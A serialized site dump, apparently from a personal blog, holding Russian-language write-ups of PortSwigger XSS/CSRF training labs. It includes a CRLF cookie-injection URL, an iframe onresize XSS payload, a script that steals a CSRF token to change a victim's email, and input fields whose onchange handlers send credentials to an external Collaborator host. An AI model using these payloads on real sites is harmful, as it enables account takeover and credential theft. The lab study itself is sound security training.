onerror=\"document.getElementById('csrf').submit()\">\n",[48,18385,18386,18412,18432,18452,18460,18464],{"__ignoreMap":50},[308,18387,18388,18390,18392,18394,18396,18398,18400,18402,18404,18406,18408,18410],{"class":310,"line":311},[308,18389,2056],{"class":911},[308,18391,15228],{"class":2059},[308,18393,13636],{"class":667},[308,18395,2066],{"class":911},[308,18397,17655],{"class":671},[308,18399,16597],{"class":667},[308,18401,2066],{"class":911},[308,18403,18067],{"class":671},[308,18405,15255],{"class":667},[308,18407,2066],{"class":911},[308,18409,15260],{"class":671},[308,18411,2077],{"class":911},[308,18413,18414,18416,18418,18420,18422,18424,18426,18428,18430],{"class":310,"line":98},[308,18415,11294],{"class":911},[308,18417,13408],{"class":2059},[308,18419,13421],{"class":667},[308,18421,2066],{"class":911},[308,18423,14737],{"class":671},[308,18425,13428],{"class":667},[308,18427,2066],{"class":911},[308,18429,17689],{"class":671},[308,18431,2077],{"class":911},[308,18433,18434,18436,18438,18440,18442,18444,18446,18448,18450],{"class":310,"line":104},[308,18435,11294],{"class":911},[308,18437,13408],{"class":2059},[308,18439,13421],{"class":667},[308,18441,2066],{"class":911},[308,18443,17655],{"class":671},[308,18445,13428],{"class":667},[308,18447,2066],{"class":911},[308,18449,18114],{"class":671},[308,18451,2077],{"class":911},[308,18453,18454,18456,18458],{"class":310,"line":1327},[308,18455,11372],{"class":911},[308,18457,15228],{"class":2059},[308,18459,2077],{"class":911},[308,18461,18462],{"class":310,"line":1336},[308,18463,1636],{"emptyLinePlaceholder":112},[308,18465,18466,18468,18470,18472,18474,18477,18479,18481,18483,18485,18487,18489,18491,18493,18495],{"class":310,"line":1349},[308,18467,2056],{"class":911},[308,18469,693],{"class":2059},[308,18471,2063],{"class":667},[308,18473,2066],{"class":911},[308,18475,18476],{"class":671},"\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F%3B%20SameSite=None%3B%20Secure\"",[308,18478,17740],{"class":667},[308,18480,2066],{"class":911},[308,18482,12040],{"class":671},[308,18484,17747],{"class":911},[308,18486,426],{"class":671},[308,18488,17752],{"class":667},[308,18490,17755],{"class":671},[308,18492,15367],{"class":667},[308,18494,17760],{"class":671},[308,18496,2077],{"class":911},[21,18498,18499],{},"Отлично, протестировал на себе — вроде работает! Попробуем заслать на проверку.",[21,18501,18502],{},"Не понимаю, PortSwigger не засчитывает...",[357,18504,12383],{},{"title":50,"searchDepth":98,"depth":98,"links":18506},[18507,18508],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34},"CRLF-инъекция через рефлексию LastSearchTerm в Set-Cookie + img onerror и SameSite=None.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-tied-to-non-session-cookie",{"title":17782,"description":18509},"notes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-tied-to-non-session-cookie",[117,15399,17778,121],"2h 15m","aR7z686KxNVm8nu6CtpJDp-XMjwU-posFJa5cP-KuEw",{"id":18518,"title":18519,"author":6,"body":18520,"date":18654,"description":18655,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":18656,"navigation":112,"notes":110,"path":18657,"psTitle":18534,"seo":18658,"stem":18659,"tags":18660,"timeSpent":110,"type":123,"__hash__":18662},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-most-tags-blocked.md","Reflected XSS с большинством тегов и атрибутов заблокированными (PortSwigger Lab)",{"type":8,"value":18521,"toc":18650},[18522,18526,18528,18535,18537,18544,18551,18559,18564,18570,18576,18582,18597,18600,18642,18645,18647],[11,18523,18525],{"id":18524},"reflected-xss-с-большинством-тегов-и-атрибутов-заблокированными","Reflected XSS с большинством тегов и атрибутов заблокированными",[16,18527,19],{"id":18},[21,18529,18530,144],{},[24,18531,18534],{"href":18532,"rel":18533},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fcontexts\u002Flab-html-context-with-most-tags-and-attributes-blocked",[28],"Reflected XSS into HTML context with most tags and attributes blocked",[16,18536,34],{"id":33},[21,18538,18539,18540,18543],{},"Из описания лабы понимаем, что скорее всего надо будет использовать Burp Intruder для попытки найти тег вне фильтров WAF. Закидываем в поле поиска наудачу ",[48,18541,18542],{},"\u003Csvg>"," — «Tag is not allowed».",[21,18545,18546,18547,18550],{},"Ладно, копируем запрос в Intruder, ставим переменную на место значения в параметре ",[48,18548,18549],{},"search",". Идём в чит-шит PortSwigger, Copy tags to clipboard, эти 143 тега вставляем в поле нагрузок. Пуск.",[21,18552,18553,18554,3483,18556,426],{},"Наши кандидаты — ",[48,18555,9354],{},[48,18557,18558],{},"body",[21,18560,18561,18562,426],{},"Окэ, попробуем отыскать разрешённые атрибуты у ",[48,18563,18558],{},[21,18565,18566,18567,18569],{},"В чит-шите находим ",[48,18568,18558],{},", Copy events to clipboard. Добавляем в Intruder. Но немного меняем нагрузку:",[41,18571,18574],{"className":18572,"code":18573,"language":46},[44],"GET \u002F?search=\u003Cbody §> HTTP\u002F2\n",[48,18575,18573],{"__ignoreMap":50},[21,18577,18578,18579,426],{},"Из интересных вариантов: ",[48,18580,18581],{},"onresize",[21,18583,18584,18585,18587,18588,18590,18591,18593,18594,18596],{},"Попробуем сделать нагрузку из ",[48,18586,2060],{}," + на ",[48,18589,17890],{}," менять его ширину. Тем самым сработает событие ",[48,18592,18581],{}," у ",[48,18595,18558],{},", который мы инжектируем.",[21,18598,18599],{},"Ок, первая версия нагрузки:",[41,18601,18603],{"className":2047,"code":18602,"language":2049,"meta":50,"style":50},"\u003Ciframe src=\"https:\u002F\u002F0af40062043186e8833af680009500e2.web-security-academy.net\u002F?search=\u003Cbody onresize=print()>\" onload=this.width=100>\n",[48,18604,18605],{"__ignoreMap":50},[308,18606,18607,18609,18611,18613,18615,18618,18620,18623,18626,18628,18630,18632,18635,18637,18640],{"class":310,"line":311},[308,18608,2056],{"class":911},[308,18610,2060],{"class":2059},[308,18612,2063],{"class":667},[308,18614,2066],{"class":911},[308,18616,18617],{"class":671},"\"https:\u002F\u002F0af40062043186e8833af680009500e2.web-security-academy.net\u002F?search=",[308,18619,2056],{"class":11348},[308,18621,18622],{"class":671},"body onresize=print()>\"",[308,18624,18625],{"class":667}," onload",[308,18627,2066],{"class":911},[308,18629,14573],{"class":678},[308,18631,426],{"class":671},[308,18633,18634],{"class":911},"width",[308,18636,2066],{"class":11348},[308,18638,18639],{"class":678},"100",[308,18641,2077],{"class":911},[21,18643,18644],{},"В exploit-сервере доставляем эту нагрузку.",[21,18646,12197],{},[357,18648,18649],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":18651},[18652,18653],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34},"2026-05-01","Через Burp Intruder ищем разрешённый тег и событие; body + onresize, доставка iframe.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-most-tags-blocked",{"title":18519,"description":18655},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-most-tags-blocked",[117,9354,121,18661],"burp-intruder","qjXVJwMkM-72upcDb-QgzBFN9lJx-EJK20vP0wgAgVA",{"id":18664,"title":18665,"author":6,"body":18666,"date":19230,"description":19231,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":19232,"navigation":112,"notes":110,"path":19233,"psTitle":18680,"seo":19234,"stem":19235,"tags":19236,"timeSpent":110,"type":123,"__hash__":19237},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-bypass-csrf.md","Обход CSRF через XSS (PortSwigger Lab)",{"type":8,"value":18667,"toc":19224},[18668,18672,18674,18681,18683,18686,18697,18703,18711,18718,18722,18741,18744,18746,18749,18897,18900,18917,18919,19076,19082,19085,19219,19221],[11,18669,18671],{"id":18670},"обход-csrf-через-xss","Обход CSRF через XSS",[16,18673,19],{"id":18},[21,18675,18676,144],{},[24,18677,18680],{"href":18678,"rel":18679},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fexploiting\u002Flab-perform-csrf",[28],"Exploiting XSS to bypass CSRF defenses",[16,18682,683],{"id":682},[21,18684,18685],{},"Из описания: нужно изменить email жертвы, используя XSS-уязвимость для обхода защиты по CSRF-токену.",[21,18687,18688,18689,18692,18693,18696],{},"Смотрим, как работает смена email. Со страницы ",[48,18690,18691],{},"\u002Fmy-account?id=wiener"," улетает POST на ",[48,18694,18695],{},"\u002Fmy-account\u002Fchange-email"," с телом:",[41,18698,18701],{"className":18699,"code":18700,"language":46},[44],"email=new@mail.com\ncsrf=YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea\n",[48,18702,18700],{"__ignoreMap":50},[21,18704,18705,18706,18708,18709,426],{},"Значит, нагрузка должна предварительно добыть CSRF-токен. Атака: пэйлоад сначала делает GET на ",[48,18707,18033],{},", забирает токен, потом POST на ",[48,18710,18695],{},[21,18712,18713,18714,18717],{},"Точку для XSS ищем на удачу — ",[48,18715,18716],{},"\u003Cimg src=x onerror=fetch(1)>"," в поле комментария. Есть XSS.",[16,18719,18721],{"id":18720},"план","План",[330,18723,18724,18729,18735],{},[333,18725,18726,18727],{},"GET на ",[48,18728,18033],{},[333,18730,18731,18732],{},"Читаем ответ и находим CSRF-токен — он лежит в ",[48,18733,18734],{},"\u003Cinput required type=\"hidden\" name=\"csrf\" value=\"YVd0ZENUlUAxXV5wV7CBKKvnfDk0iIea\">",[333,18736,18737,18738,18740],{},"POST на ",[48,18739,18695],{}," — CSRF-токен и email в тело запроса как FormData",[21,18742,18743],{},"Извлечь токен можно регуляркой или через DOMParser. Распарсить HTML надёжнее.",[16,18745,987],{"id":986},[21,18747,18748],{},"Первый вариант нагрузки:",[41,18750,18752],{"className":14466,"code":18751,"language":14468,"meta":50,"style":50},"fetch('\u002Fmy-account')\n  .then(r => r.text())\n  .then(html => {\n    const doc = new DOMParser().parseFromString(html, 'text\u002Fhtml');\n    const csrf = doc.querySelector('input[name=csrf]').value;\n    const body = new URLSearchParams({ email: 'new@mail.com', csrf });\n    return fetch('\u002Fmy-account\u002Fchange-email', { method: 'POST', body });\n  });\n",[48,18753,18754,18765,18787,18801,18829,18852,18873,18893],{"__ignoreMap":50},[308,18755,18756,18758,18760,18763],{"class":310,"line":311},[308,18757,2130],{"class":667},[308,18759,917],{"class":911},[308,18761,18762],{"class":671},"'\u002Fmy-account'",[308,18764,12056],{"class":911},[308,18766,18767,18770,18772,18774,18776,18779,18782,18784],{"class":310,"line":98},[308,18768,18769],{"class":911},"  .",[308,18771,2140],{"class":667},[308,18773,917],{"class":911},[308,18775,2145],{"class":1685},[308,18777,18778],{"class":1619}," =>",[308,18780,18781],{"class":911}," r.",[308,18783,46],{"class":667},[308,18785,18786],{"class":911},"())\n",[308,18788,18789,18791,18793,18795,18797,18799],{"class":310,"line":104},[308,18790,18769],{"class":911},[308,18792,2140],{"class":667},[308,18794,917],{"class":911},[308,18796,2049],{"class":1685},[308,18798,18778],{"class":1619},[308,18800,1695],{"class":911},[308,18802,18803,18805,18808,18810,18812,18815,18818,18821,18824,18827],{"class":310,"line":1327},[308,18804,1743],{"class":1619},[308,18806,18807],{"class":678}," doc",[308,18809,1647],{"class":1619},[308,18811,1650],{"class":1619},[308,18813,18814],{"class":667}," DOMParser",[308,18816,18817],{"class":911},"().",[308,18819,18820],{"class":667},"parseFromString",[308,18822,18823],{"class":911},"(html, ",[308,18825,18826],{"class":671},"'text\u002Fhtml'",[308,18828,1711],{"class":911},[308,18830,18831,18833,18836,18838,18841,18844,18846,18849],{"class":310,"line":1336},[308,18832,1743],{"class":1619},[308,18834,18835],{"class":678}," csrf",[308,18837,1647],{"class":1619},[308,18839,18840],{"class":911}," doc.",[308,18842,18843],{"class":667},"querySelector",[308,18845,917],{"class":911},[308,18847,18848],{"class":671},"'input[name=csrf]'",[308,18850,18851],{"class":911},").value;\n",[308,18853,18854,18856,18859,18861,18863,18865,18867,18870],{"class":310,"line":1349},[308,18855,1743],{"class":1619},[308,18857,18858],{"class":678}," body",[308,18860,1647],{"class":1619},[308,18862,1650],{"class":1619},[308,18864,16391],{"class":667},[308,18866,16394],{"class":911},[308,18868,18869],{"class":671},"'new@mail.com'",[308,18871,18872],{"class":911},", csrf });\n",[308,18874,18875,18878,18881,18883,18886,18888,18890],{"class":310,"line":1360},[308,18876,18877],{"class":1619},"    return",[308,18879,18880],{"class":667}," fetch",[308,18882,917],{"class":911},[308,18884,18885],{"class":671},"'\u002Fmy-account\u002Fchange-email'",[308,18887,16277],{"class":911},[308,18889,16280],{"class":671},[308,18891,18892],{"class":911},", body });\n",[308,18894,18895],{"class":310,"line":1366},[308,18896,1821],{"class":911},[21,18898,18899],{},"Пробуем в консоли Chrome — токен получается успешно, запрос улетает, возвращает 302 и редирект, но email не поменялся.",[21,18901,18902,18903,18905,18906,18909,18910,18913,18914,426],{},"Сравнил наш запрос с оригинальным. Отличие — в заголовке ",[48,18904,486],{},": сервер PortSwigger ждёт ",[48,18907,18908],{},"application\u002Fx-www-form-urlencoded",", а ",[48,18911,18912],{},"URLSearchParams"," подставляет с кодировкой — ",[48,18915,18916],{},"application\u002Fx-www-form-urlencoded;charset=UTF-8",[21,18918,17387],{},[41,18920,18922],{"className":14466,"code":18921,"language":14468,"meta":50,"style":50},"fetch('\u002Fmy-account')\n  .then(r => r.text())\n  .then(html => {\n    const doc = new DOMParser().parseFromString(html, 'text\u002Fhtml');\n    const csrf = doc.querySelector('input[name=csrf]').value;\n    const body = new URLSearchParams({ email: 'pwned@hacker.com', csrf });\n    return fetch('\u002Fmy-account\u002Fchange-email', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application\u002Fx-www-form-urlencoded' },\n      body,\n    });\n  });\n",[48,18923,18924,18934,18952,18966,18988,19006,19025,19037,19046,19062,19067,19072],{"__ignoreMap":50},[308,18925,18926,18928,18930,18932],{"class":310,"line":311},[308,18927,2130],{"class":667},[308,18929,917],{"class":911},[308,18931,18762],{"class":671},[308,18933,12056],{"class":911},[308,18935,18936,18938,18940,18942,18944,18946,18948,18950],{"class":310,"line":98},[308,18937,18769],{"class":911},[308,18939,2140],{"class":667},[308,18941,917],{"class":911},[308,18943,2145],{"class":1685},[308,18945,18778],{"class":1619},[308,18947,18781],{"class":911},[308,18949,46],{"class":667},[308,18951,18786],{"class":911},[308,18953,18954,18956,18958,18960,18962,18964],{"class":310,"line":104},[308,18955,18769],{"class":911},[308,18957,2140],{"class":667},[308,18959,917],{"class":911},[308,18961,2049],{"class":1685},[308,18963,18778],{"class":1619},[308,18965,1695],{"class":911},[308,18967,18968,18970,18972,18974,18976,18978,18980,18982,18984,18986],{"class":310,"line":1327},[308,18969,1743],{"class":1619},[308,18971,18807],{"class":678},[308,18973,1647],{"class":1619},[308,18975,1650],{"class":1619},[308,18977,18814],{"class":667},[308,18979,18817],{"class":911},[308,18981,18820],{"class":667},[308,18983,18823],{"class":911},[308,18985,18826],{"class":671},[308,18987,1711],{"class":911},[308,18989,18990,18992,18994,18996,18998,19000,19002,19004],{"class":310,"line":1336},[308,18991,1743],{"class":1619},[308,18993,18835],{"class":678},[308,18995,1647],{"class":1619},[308,18997,18840],{"class":911},[308,18999,18843],{"class":667},[308,19001,917],{"class":911},[308,19003,18848],{"class":671},[308,19005,18851],{"class":911},[308,19007,19008,19010,19012,19014,19016,19018,19020,19023],{"class":310,"line":1349},[308,19009,1743],{"class":1619},[308,19011,18858],{"class":678},[308,19013,1647],{"class":1619},[308,19015,1650],{"class":1619},[308,19017,16391],{"class":667},[308,19019,16394],{"class":911},[308,19021,19022],{"class":671},"'pwned@hacker.com'",[308,19024,18872],{"class":911},[308,19026,19027,19029,19031,19033,19035],{"class":310,"line":1360},[308,19028,18877],{"class":1619},[308,19030,18880],{"class":667},[308,19032,917],{"class":911},[308,19034,18885],{"class":671},[308,19036,16496],{"class":911},[308,19038,19039,19042,19044],{"class":310,"line":1366},[308,19040,19041],{"class":911},"      method: ",[308,19043,16280],{"class":671},[308,19045,1312],{"class":911},[308,19047,19048,19051,19054,19056,19059],{"class":310,"line":1452},[308,19049,19050],{"class":911},"      headers: { ",[308,19052,19053],{"class":671},"'Content-Type'",[308,19055,1306],{"class":911},[308,19057,19058],{"class":671},"'application\u002Fx-www-form-urlencoded'",[308,19060,19061],{"class":911}," },\n",[308,19063,19064],{"class":310,"line":1465},[308,19065,19066],{"class":911},"      body,\n",[308,19068,19069],{"class":310,"line":1478},[308,19070,19071],{"class":911},"    });\n",[308,19073,19074],{"class":310,"line":1491},[308,19075,1821],{"class":911},[21,19077,19078,19079,426],{},"Ключ — явная установка ",[48,19080,19081],{},"headers: { 'Content-Type': 'application\u002Fx-www-form-urlencoded' }",[21,19083,19084],{},"Подготовленная версия для вставки в поле комментария:",[41,19086,19088],{"className":2047,"code":19087,"language":2049,"meta":50,"style":50},"\u003Cscript> fetch('\u002Fmy-account') .then(r => r.text()) .then(html => { const doc = new DOMParser().parseFromString(html, 'text\u002Fhtml'); const csrf = doc.querySelector('input[name=csrf]').value; const body = new URLSearchParams({email: 'pwned@hacker.com', csrf}); return fetch('\u002Fmy-account\u002Fchange-email', { method: 'POST', headers: {'Content-Type': 'application\u002Fx-www-form-urlencoded'}, body }); }); \u003C\u002Fscript>\n",[48,19089,19090],{"__ignoreMap":50},[308,19091,19092,19094,19096,19099,19101,19103,19105,19108,19110,19112,19114,19116,19118,19120,19123,19125,19127,19129,19131,19134,19136,19138,19140,19142,19144,19146,19148,19150,19152,19155,19157,19159,19161,19163,19165,19167,19169,19172,19174,19176,19178,19180,19182,19185,19187,19190,19193,19195,19197,19199,19201,19203,19206,19208,19210,19212,19215,19217],{"class":310,"line":311},[308,19093,2056],{"class":911},[308,19095,2124],{"class":2059},[308,19097,19098],{"class":911},"> ",[308,19100,2130],{"class":667},[308,19102,917],{"class":911},[308,19104,18762],{"class":671},[308,19106,19107],{"class":911},") .",[308,19109,2140],{"class":667},[308,19111,917],{"class":911},[308,19113,2145],{"class":1685},[308,19115,18778],{"class":1619},[308,19117,18781],{"class":911},[308,19119,46],{"class":667},[308,19121,19122],{"class":911},"()) .",[308,19124,2140],{"class":667},[308,19126,917],{"class":911},[308,19128,2049],{"class":1685},[308,19130,18778],{"class":1619},[308,19132,19133],{"class":911}," { ",[308,19135,1641],{"class":1619},[308,19137,18807],{"class":678},[308,19139,1647],{"class":1619},[308,19141,1650],{"class":1619},[308,19143,18814],{"class":667},[308,19145,18817],{"class":911},[308,19147,18820],{"class":667},[308,19149,18823],{"class":911},[308,19151,18826],{"class":671},[308,19153,19154],{"class":911},"); ",[308,19156,1641],{"class":1619},[308,19158,18835],{"class":678},[308,19160,1647],{"class":1619},[308,19162,18840],{"class":911},[308,19164,18843],{"class":667},[308,19166,917],{"class":911},[308,19168,18848],{"class":671},[308,19170,19171],{"class":911},").value; ",[308,19173,1641],{"class":1619},[308,19175,18858],{"class":678},[308,19177,1647],{"class":1619},[308,19179,1650],{"class":1619},[308,19181,16391],{"class":667},[308,19183,19184],{"class":911},"({email: ",[308,19186,19022],{"class":671},[308,19188,19189],{"class":911},", csrf}); ",[308,19191,19192],{"class":1619},"return",[308,19194,18880],{"class":667},[308,19196,917],{"class":911},[308,19198,18885],{"class":671},[308,19200,16277],{"class":911},[308,19202,16280],{"class":671},[308,19204,19205],{"class":911},", headers: {",[308,19207,19053],{"class":671},[308,19209,1306],{"class":911},[308,19211,19058],{"class":671},[308,19213,19214],{"class":911},"}, body }); }); \u003C\u002F",[308,19216,2124],{"class":2059},[308,19218,2077],{"class":911},[21,19220,12197],{},[357,19222,19223],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":50,"searchDepth":98,"depth":98,"links":19225},[19226,19227,19228,19229],{"id":18,"depth":98,"text":19},{"id":682,"depth":98,"text":683},{"id":18720,"depth":98,"text":18721},{"id":986,"depth":98,"text":987},"2026-04-30","Смена email жертвы: XSS-нагрузка читает CSRF-токен из \u002Fmy-account и POST-ит \u002Fchange-email — затык с заголовком Content-Type.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-bypass-csrf",{"title":18665,"description":19231},"notes\u002Fpentesting\u002Fportswigger\u002Fxss-bypass-csrf",[117,9354,15399,121],"2GJ_5KZFjZ4i5LhTbMTobPdNNxisA6iJR7UQdx8fjkg",{"id":19239,"title":19240,"author":6,"body":19241,"date":19463,"description":19464,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":19465,"navigation":112,"notes":110,"path":19466,"psTitle":19255,"seo":19467,"stem":19468,"tags":19469,"timeSpent":110,"type":123,"__hash__":19472},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fxss-capture-passwords.md","Захват паролей через XSS (PortSwigger Lab)",{"type":8,"value":19242,"toc":19454},[19243,19247,19249,19256,19258,19265,19271,19273,19276,19279,19324,19328,19334,19336,19404,19410,19414,19417,19439,19442,19451],[11,19244,19246],{"id":19245},"захват-паролей-через-xss","Захват паролей через XSS",[16,19248,19],{"id":18},[21,19250,19251,144],{},[24,19252,19255],{"href":19253,"rel":19254},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcross-site-scripting\u002Fexploiting\u002Flab-capturing-passwords",[28],"Exploiting cross-site scripting to capture passwords",[16,19257,683],{"id":682},[21,19259,19260,19261,19264],{},"Идём сразу в поле коммента и проверяем XSS — ",[48,19262,19263],{},"COMMENT\u003C>'\"\\",". Есть XSS.",[21,19266,19267,19268,19270],{},"Далее простая нагрузка — ",[48,19269,18716],{}," — работает.",[16,19272,987],{"id":986},[36,19274,8004],{"id":19275},"подход",[21,19277,19278],{},"PortSwigger в теории предлагает создать поддельные инпуты, которые браузер заполнит данными из автозаполнения — если пользователь сохранял свой пароль. Чтобы этот механизм сработал, поля создаём со следующими атрибутами:",[41,19280,19282],{"className":2047,"code":19281,"language":2049,"meta":50,"style":50},"\u003Cinput name=username id=username>\n\u003Cinput type=password name=password>\n",[48,19283,19284,19304],{"__ignoreMap":50},[308,19285,19286,19288,19290,19292,19294,19296,19298,19300,19302],{"class":310,"line":311},[308,19287,2056],{"class":911},[308,19289,13408],{"class":2059},[308,19291,13421],{"class":667},[308,19293,2066],{"class":911},[308,19295,11168],{"class":671},[308,19297,13636],{"class":667},[308,19299,2066],{"class":911},[308,19301,11168],{"class":671},[308,19303,2077],{"class":911},[308,19305,19306,19308,19310,19312,19314,19316,19318,19320,19322],{"class":310,"line":98},[308,19307,2056],{"class":911},[308,19309,13408],{"class":2059},[308,19311,13414],{"class":667},[308,19313,2066],{"class":911},[308,19315,12695],{"class":671},[308,19317,13421],{"class":667},[308,19319,2066],{"class":911},[308,19321,12695],{"class":671},[308,19323,2077],{"class":911},[36,19325,19327],{"id":19326},"эксфильтрация","Эксфильтрация",[21,19329,19330,19331,426],{},"Теперь нужно отправить полученные данные на сервер. Будем использовать Burp Collaborator. Триггером для отправки имени и пароля будет событие ",[48,19332,19333],{},"onchange",[21,19335,17387],{},[41,19337,19339],{"className":2047,"code":19338,"language":2049,"meta":50,"style":50},"\u003Cinput name=username id=username onchange=fetch(\"https:\u002F\u002F6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?user=\"+this.value)>\n\u003Cinput type=password name=password onchange=fetch(\"https:\u002F\u002F6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?pwd=\"+this.value)>\n",[48,19340,19341,19373],{"__ignoreMap":50},[308,19342,19343,19345,19347,19349,19351,19353,19355,19357,19359,19362,19364,19366,19368,19371],{"class":310,"line":311},[308,19344,2056],{"class":911},[308,19346,13408],{"class":2059},[308,19348,13421],{"class":667},[308,19350,2066],{"class":911},[308,19352,11168],{"class":671},[308,19354,13636],{"class":667},[308,19356,2066],{"class":911},[308,19358,11168],{"class":671},[308,19360,19361],{"class":667}," onchange",[308,19363,2066],{"class":911},[308,19365,2130],{"class":667},[308,19367,917],{"class":671},[308,19369,19370],{"class":11348},"\"https:\u002F\u002F6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?user=\"+this.value)",[308,19372,2077],{"class":911},[308,19374,19375,19377,19379,19381,19383,19385,19387,19389,19391,19393,19395,19397,19399,19402],{"class":310,"line":98},[308,19376,2056],{"class":911},[308,19378,13408],{"class":2059},[308,19380,13414],{"class":667},[308,19382,2066],{"class":911},[308,19384,12695],{"class":671},[308,19386,13421],{"class":667},[308,19388,2066],{"class":911},[308,19390,12695],{"class":671},[308,19392,19361],{"class":667},[308,19394,2066],{"class":911},[308,19396,2130],{"class":667},[308,19398,917],{"class":671},[308,19400,19401],{"class":11348},"\"https:\u002F\u002F6pwq1k8rxl5e6swnw369cafh58bzzpne.oastify.com?pwd=\"+this.value)",[308,19403,2077],{"class":911},[19405,19406,19407],"blockquote",{},[21,19408,19409],{},"Будьте внимательны: нагрузка в комментах должна быть одна (итоговую тестите на новом посте, где нет комментов, иначе автозаполнение формы ломается).",[16,19411,19413],{"id":19412},"результат","Результат",[21,19415,19416],{},"В Burp прилетело 3 запроса:",[41,19418,19422],{"className":19419,"code":19420,"language":19421,"meta":50,"style":50},"language-http shiki shiki-themes github-light github-dark","GET \u002F?user=administratoradministrator HTTP\u002F1.1\nGET \u002F?pwd=mba29ry6e4jzms6kv354 HTTP\u002F1.1\nGET \u002F?user=administrator HTTP\u002F1.1\n","http",[48,19423,19424,19429,19434],{"__ignoreMap":50},[308,19425,19426],{"class":310,"line":311},[308,19427,19428],{},"GET \u002F?user=administratoradministrator HTTP\u002F1.1\n",[308,19430,19431],{"class":310,"line":98},[308,19432,19433],{},"GET \u002F?pwd=mba29ry6e4jzms6kv354 HTTP\u002F1.1\n",[308,19435,19436],{"class":310,"line":104},[308,19437,19438],{},"GET \u002F?user=administrator HTTP\u002F1.1\n",[21,19440,19441],{},"Первый — странный.",[21,19443,19444,19445,2237,19447,19450],{},"Пробуем ",[48,19446,12559],{},[48,19448,19449],{},"mba29ry6e4jzms6kv354"," — сработало.",[357,19452,19453],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki 